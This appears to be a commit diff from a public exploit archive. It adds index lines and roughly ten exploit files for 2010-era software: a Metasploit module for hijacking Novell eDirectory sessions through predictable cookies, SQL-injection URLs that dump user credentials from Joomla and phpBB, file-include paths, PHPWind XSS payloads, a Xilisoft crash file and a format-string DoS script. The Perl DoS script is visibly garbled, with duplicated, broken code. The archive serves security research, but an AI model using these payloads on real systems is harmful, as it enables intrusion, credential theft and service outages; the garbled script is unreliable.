Updated 06_17_2014

files.csv

@@ -30416,3 +30416,13 @@ id,file,description,date,author,platform,type,port
 33764,platforms/multiple/webapps/33764.txt,"Dojo Toolkit <= 1.4.1 dijit\tests\_testCommon.js theme Parameter XSS",2010-03-15,"Adam Bixby",multiple,webapps,0
 33765,platforms/multiple/webapps/33765.txt,"Dojo Toolkit <= 1.4.1 doh\runner.html Multiple Parameter XSS",2010-03-15,"Adam Bixby",multiple,webapps,0
 33766,platforms/php/webapps/33766.txt,"Joomla! 'com_as' Component 'catid' Parameter SQL Injection Vulnerability",2010-03-16,N2n-Hacker,php,webapps,0
+33767,platforms/novell/remote/33767.rb,"Novell eDirectory 8.8.5 DHost Weak Session Cookie Session Hijacking Vulnerability",2010-03-14,metasploit,novell,remote,0
+33769,platforms/php/webapps/33769.txt,"eFront 3.5.5 'langname' Parameter Local File Include Vulnerability",2010-03-17,7Safe,php,webapps,0
+33771,platforms/php/webapps/33771.txt,"Joomla! 'com_alert' Component 'q_item' Parameter SQL Injection Vulnerability",2010-03-17,N2n-Hacker,php,webapps,0
+33772,platforms/php/webapps/33772.txt,"phpBB2 Plus 1.53 'kb.php' SQL Injection Vulnerability",2010-03-17,Gamoscu,php,webapps,0
+33773,platforms/php/webapps/33773.txt,"tenfourzero.net Shutter 0.1.4 'admin.html' Multiple SQL Injection Vulnerabilities",2010-03-18,blake,php,webapps,0
+33774,platforms/multiple/remote/33774.txt,"IBM Lotus Notes 6.5.6 'names.nsf' Open Redirection Vulnerability",2010-03-19,Lament,multiple,remote,0
+33775,platforms/windows/dos/33775.py,"Xilisoft Video Converter Wizard '.yuv' File Stack Buffer Overflow Vulnerability",2010-03-19,ITSecTeam,windows,dos,0
+33776,platforms/php/webapps/33776.txt,"Kempt SiteDone 2.0 'detail.php' Cross Site Scripting and SQL Injection Vulnerabilities",2010-03-18,d3v1l,php,webapps,0
+33777,platforms/php/webapps/33777.txt,"PHPWind 6.0 Multiple Cross Site Scripting Vulnerabilities",2010-03-19,Liscker,php,webapps,0
+33778,platforms/windows/dos/33778.pl,"Remote Help HTTP 0.0.7 GET Request Format String Denial Of Service Vulnerability",2010-03-20,Rick2600,windows,dos,0

platforms/multiple/remote/33774.txt

@@ -0,0 +1,15 @@
+source: http://www.securityfocus.com/bid/38852/info
+
+IBM Lotus Notes is prone to an open-redirection vulnerability because the application fails to properly sanitize user-supplied input.
+
+A successful exploit may aid in phishing attacks; other attacks are possible.
+
+Lotus Notes 6.x is vulnerable; other versions may also be affected. 
+
+The following example POST data is available:
+
+POST /names.nsf?Login HTTP/1.1
+
+Connection: Keep-Alive
+
+%25%25ModDate=xxxxxxxxxxxxxxxx&Username=yyyy+zzzz&Password=aaaaaa&RedirectTo=http://www.example.com&SaveOptions=0&... 

platforms/novell/remote/33767.rb

@@ -0,0 +1,98 @@
+source: http://www.securityfocus.com/bid/38782/info
+
+Novell eDirectory is prone to a session-hijacking vulnerability.
+
+An attacker can exploit this issue to gain access to the affected application.
+
+Novell eDirectory 8.8.5 is vulnerable; other versions may also be affected. 
+
+##
+# $Id: edirectory_dhost_cookie.rb 7519 2009-11-14 23:08:27Z hdm $
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::Tcp
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Novell eDirectory DHOST Predictable Session Cookie',
+			'Description'    => %q{
+				This module is able to predict the next session cookie value issued
+			by the DHOST web service of Novell eDirectory 8.8.5. An attacker can run
+			this module, wait until the real administrator logs in, then specify the
+			predicted cookie value to hijack their session.
+			},
+			'References'     =>
+				[
+					['OSVDB', '60035'],
+				],
+			'Author'         => 'hdm',
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision: 7519 $'
+		))
+
+		register_options([
+			Opt::RPORT(8030),
+			OptBool.new('SSL', [true, 'Use SSL', true])
+		], self.class)
+	end
+
+	def run
+		vals = []
+		name = ""
+
+		print_status("Making 5 requests to verify predictions...")
+		1.upto(6) do
+
+			connect
+			req =  "GET /dhost/ HTTP/1.1\r\n"
+			req << "Host: #{rhost}:#{rport}\r\n"
+			req << "Connection: close\r\n\r\n"
+			sock.put(req)
+			res = sock.get_once(-1,5)
+			disconnect
+
+			cookie = nil
+			if(res =~ /Cookie:\s*([^\s]+)\s*/mi)
+				cookie = $1
+				cookie,junk = cookie.split(';')
+				name,cookie = cookie.split('=')
+				cookie      = cookie.to_i(16)
+				vals << cookie
+			end
+		end
+
+		deltas   = []
+		prev_val = nil
+		vals.each_index do |i|
+			if(i > 0)
+				delta = vals[i] - prev_val
+				print_status("Cookie: #{i} #{"%.8x" % vals[i]} DELTA #{"%.8x" % delta}")
+				deltas << delta
+			end
+			prev_val = vals[i]
+		end
+
+		deltas.uniq!
+		if(deltas.length < 4)
+			print_status("The next cookie value will be: #{name}=#{"%.8x" % (prev_val + deltas[0])}")
+		else
+			print_status("The cookie value is less predictable, maybe this has been patched?")
+			print_status("Deltas: #{deltas.map{|x| "%.8x" % x}.join(", ")}")
+		end
+	end
+
+end
+

platforms/php/webapps/33769.txt

@@ -0,0 +1,10 @@
+source: http://www.securityfocus.com/bid/38787/info
+
+eFront is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.
+
+An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.
+
+eFront 3.5.5 and prior are vulnerable. 
+
+http://www.example.com/efront/www/editor/tiny_mce/langs/language.php?langname=a/../../../../../../boot.ini%00
+http://www.example.com/efront/www/editor/tiny_mce/langs/language.php?langname=../../../../upload/student/message_attachments/Sent/1266862529/malicious.php.inc%00 

platforms/php/webapps/33771.txt

@@ -0,0 +1,7 @@
+source: http://www.securityfocus.com/bid/38827/info
+
+The 'com_alert' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
+
+Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 
+
+http://www.example.com/Joomla/index.php?option=com_alert&task=item&q_item=-1 union select 1, concat(username,0x3e,password),3,4,5,6,7,8,9,10,11,12,13+from+jos_users-- 

platforms/php/webapps/33772.txt

@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/38828/info
+
+phpBB2 Plus is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
+
+Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+
+phpBB2 Plus 1.53 is affected; other versions may also be vulnerable.
+
+http://www.example.com/kb.php?mode=cat&cat=-1+union+select+1,concat(user_id,char(58),username,char(58),user_email,char(58),user_icq,char(58),user_password),3,4,5,6,7+from+phpbb_users+limit+1,2--

platforms/php/webapps/33773.txt

@@ -0,0 +1,10 @@
+source: http://www.securityfocus.com/bid/38849/info
+
+tenfourzero.net's Shutter is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
+
+Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+
+Shutter 0.1.4 is vulnerable; other versions may also be affected. 
+
+http://www.example.com/shutter/admin.html?albumID=2%20and%20substring%28@@version,1,1%29=5
+http://www.example.com/shutter/admin.html?albumID=2&photoID=5%20and%20substring%28@@version,1,1%29=5 

platforms/php/webapps/33776.txt

@@ -0,0 +1,15 @@
+source: http://www.securityfocus.com/bid/38856/info
+
+Kempt SiteDone is prone to an SQL-injection vulnerability and cross-site scripting vulnerability.
+
+Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+
+Kempt SiteDone 2.0 is vulnerable; other versions may also be affected. 
+
+
+The following example URIs are available:
+
+http://www.example.com/site/store/detail.php?articleId=-1 UNION SELECT 1,2,3,4,5,6,concat_ws(0x3a,version(),database(),user()),8,9,10,11,12,13,14,15,16,17,18,19--
+
+http://www.example.com/site/store/detail.php?articleId=">
+

platforms/php/webapps/33777.txt

@@ -0,0 +1,18 @@
+source: http://www.securityfocus.com/bid/38867/info
+
+PHPWind is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
+
+An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
+
+PHPWind 6.0 is vulnerable; other versions may also be affected. 
+
+
+http://www.example.com/hack.php?H_name=bank"><script>alert(/Liscker/);</script>
+http://www.example.com/search.php?asc=desc"><script>alert(/Liscker/);</script>
+http://www.example.com/read.php?nowtime="><script>alert(/Liscker/);</script>
+http://www.example.com/post.php?fid=10"><script>alert(/Liscker/);</script>
+http://www.example.com/profile.php?action=forumright"><script>alert(/Liscker/);</script>
+http://www.example.com/thread.php?skinco=black"><script>alert(/Liscker/);</script>
+http://www.example.com/message.php?action=scout"><script>alert(/Liscker/);</script>
+http://www.example.com/sort.php?skinco=black"><script>alert(/Liscker/);</script>
+http://www.example.com/userpay.php?skinco=black"><script>alert(/Liscker/);</script> 

platforms/windows/dos/33775.py

@@ -0,0 +1,35 @@
+source: http://www.securityfocus.com/bid/38854/info
+
+Xilisoft Video Converter is prone to a stack-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied input.
+
+Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.
+
+#! /usr/bin/python
+#
+# Xilisoft Video Converter(.yuv file) Stack buffer Overflow Poc
+# Homepage: www.xilisoft.com
+# #############################################################################
+# Credit : ItSecTeam
+# mail : Bug@ItSecTeam.com
+# Web:  WwW.ITSecTeam.com
+# Forum: WwW.forum.itsecteam.com
+# Exploit Coded by: hoshang jafari a.k.a (PLATEN) @ ItSecTeam
+# Special Tanks : M3hr@n.S - B3hz4d - Cdef3nder
+# #############################################################################
+# Bug: Integer Division By Zero
+# Tested in : Windows XP SP3 EN
+# Tested version : 3   = Crash
+# Usage: ./Xilisoft-poc.py
+# #############################################################################
+# 102DFDAB: Integer divide by zero (exc.code c0000094, tid 2908)
+# EAX 00000000  ECX 00000000 EBX 00000001 ESP 000E629C EBP 025B3270
+# ESI 00000000 EDI 00000000 EIP 102DFDAB avcodec.102DFDAB
+ 
+try:
+        file=open("Xilisoft-poc.yuv",'w')
+        Buff = "\x41" *500000
+        file.write( Buff )
+        file.close()
+        print   ("[+] File created successfully: Xilisoft-poc.yuv" )
+except:
+        print "[-] Error cant write file to system\n"

platforms/windows/dos/33778.pl

@@ -0,0 +1,73 @@
+source: http://www.securityfocus.com/bid/38875/info
+
+Remote Help is prone to a denial-of-service vulnerability.
+
+Remote attackers can exploit this issue to cause the application to crash, denying service to legitimate users. Due to the nature of this issue arbitrary code-execution may be possible; however this has not been confirmed.
+
+Remote Help 0.0.7 is vulnerable; other versions may also be affected. 
+
+# Exploit Title : Remote Help 0.0.7 Remote DoS
+# Date          : 20 Mar 2010
+# Author        : Rick2600 (ricks2600[at]gmail{dot}com)
+# Bug found by  : Rick2600
+# Software Link : http://www.softpedia.com/progDownload/Remote-Help-Download-144888.html
+# Version       : 0.0.7
+# OS            : Windows
+# Tested on     : XP SP2 En
+# Type of vuln  : DoS
+# Greetz to     : Corelan Security Team : http://www.corelan.be:8800/index.php/security/corelan-team-members/
+#
+# Script provided 'as is', without any warranty.
+# Use for educational purposes only.
+#
+#
+# Code :
+print "|------------------------------------------------------------------|\n";
+print "|                         __               __                       |\n";
+print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |\n";
+print "|  / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\   / __/ _ \\/ __ `/ __ `__ \\ |\n";
+print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |\n";
+print "| \\___/\\____/_/   \\___/_/\\__,_/_/ /_/   \\__/\\___/\\__,_/_/ /_/ /_/  |\n";
+print "|                                                                  |\n";
+print "|                                       http://www.corelan.be:8800 |\n";
+print "|                                                                  |\n";
+print "|-------------------------------------------------[ EIP Hunters ]--|\n\n";
+print "[+] DoS exploit for Remote Help 0.0.7 Http\n";
+
+use IO::Socket;
+
+if ($#ARGV != 0) {
+    print $#ARGV;
+    print "\n  usage: $0 <targetip>\n";
+    exit(0);
+}
+
+
+print "[+] Connecting to server $ARGV[0] on port 80\n\n";
+
+$remote = IO::Socket::INET->new( Proto => "tcp",
+
+if ($#ARGV != 0) {
+    print $#ARGV;
+    print "\n  usage: $0 <targetip>\n";
+    exit(0);
+}
+
+
+print "[+] Connecting to server $ARGV[0] on port 80\n\n";
+
+$remote = IO::Socket::INET->new( Proto => "tcp",
+                                 PeerAddr  => $ARGV[0],
+                                 PeerPort  => "http(80)",
+);
+unless ($remote) { die "Cannot connect to Remote Help daemon on $ARGV[0]\n" }
+print "[+] Connected!\n";
+
+
+#CONTROL EAX
+$payload = "/index.html" . "%x" x 90 . "A" x 250 . "%x" x 186  ."%.999999x" x 15 ."%.199999x"  . "%nX" . "DCBA";
+
+
+print "[+] Sending Malicious Request\n";
+print $remote "GET $payload HTTP/1.1\r\n";
+close $remote;